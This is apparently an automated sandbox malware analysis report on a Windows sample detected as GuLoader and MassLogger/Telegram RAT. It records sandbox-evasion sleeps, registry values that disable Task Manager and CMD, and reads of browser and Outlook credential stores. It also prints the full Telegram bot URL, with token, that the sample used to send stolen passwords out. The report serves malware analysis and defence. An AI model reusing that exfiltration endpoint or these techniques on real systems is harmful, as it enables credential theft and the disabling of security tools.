Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

API coverage: 3.4 %

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 332	Thread sleep count: 1099 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 332	Thread sleep count: 8748 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596620s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -594749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -594640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe TID: 4632	Thread sleep time: -594531s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_00402868 FindFirstFileW,	5_2_00402868
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_0040672B FindFirstFileW,FindClose,	5_2_0040672B
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405AFA

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596620	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Thread delayed: delay time: 594531	Jump to behavior

Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.0000000006568000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	API call chain: ExitProcess graph end node			graph_0-4592
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	API call chain: ExitProcess graph end node			graph_0-4750

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: 0_2_00401E49 LdrInitializeThunk,ShowWindow,EnableWindow,

0_2_00401E49

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: 0_2_70131B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70131B5F

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Process created: C:\Users\user\Desktop\ajRZflJ2ch.exe "C:\Users\user\Desktop\ajRZflJ2ch.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Queries volume information: C:\Users\user\Desktop\ajRZflJ2ch.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ajRZflJ2ch.exe PID: 5060, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ajRZflJ2ch.exe PID: 5060, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ajRZflJ2ch.exe PID: 5060, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ajRZflJ2ch.exe PID: 5060, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ajRZflJ2ch.exe PID: 5060, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ajRZflJ2ch.exe	75%	Virustotal		Browse
ajRZflJ2ch.exe	61%	ReversingLabs	Win32.Exploit.GuLoader
ajRZflJ2ch.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.184.206	true	false	high
drive.usercontent.google.com	142.250.184.193	true	false	high
reallyfreegeoip.org	104.21.48.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	ajRZflJ2ch.exe, 00000005.00000002.2713839860.0000000006568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036CA8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/O	ajRZflJ2ch.exe, 00000005.00000002.2713839860.0000000006568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065D7000.00000004.00000020.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000003.2441082200.00000000065D7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C84000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	ajRZflJ2ch.exe	false	high
http://api.telegram.org	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C11000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/U9	ajRZflJ2ch.exe, 00000005.00000002.2735696215.000000003954D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.184.193	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
142.250.184.206	drive.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	unknown	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588086
Start date and time:	2025-01-10 21:14:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ajRZflJ2ch.exe renamed because original name is a hash value
Original Sample Name:	1d703dda4c786c51432a22da942b92244544a00c1d81b937bd5e5424947804f8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@6/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 161 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

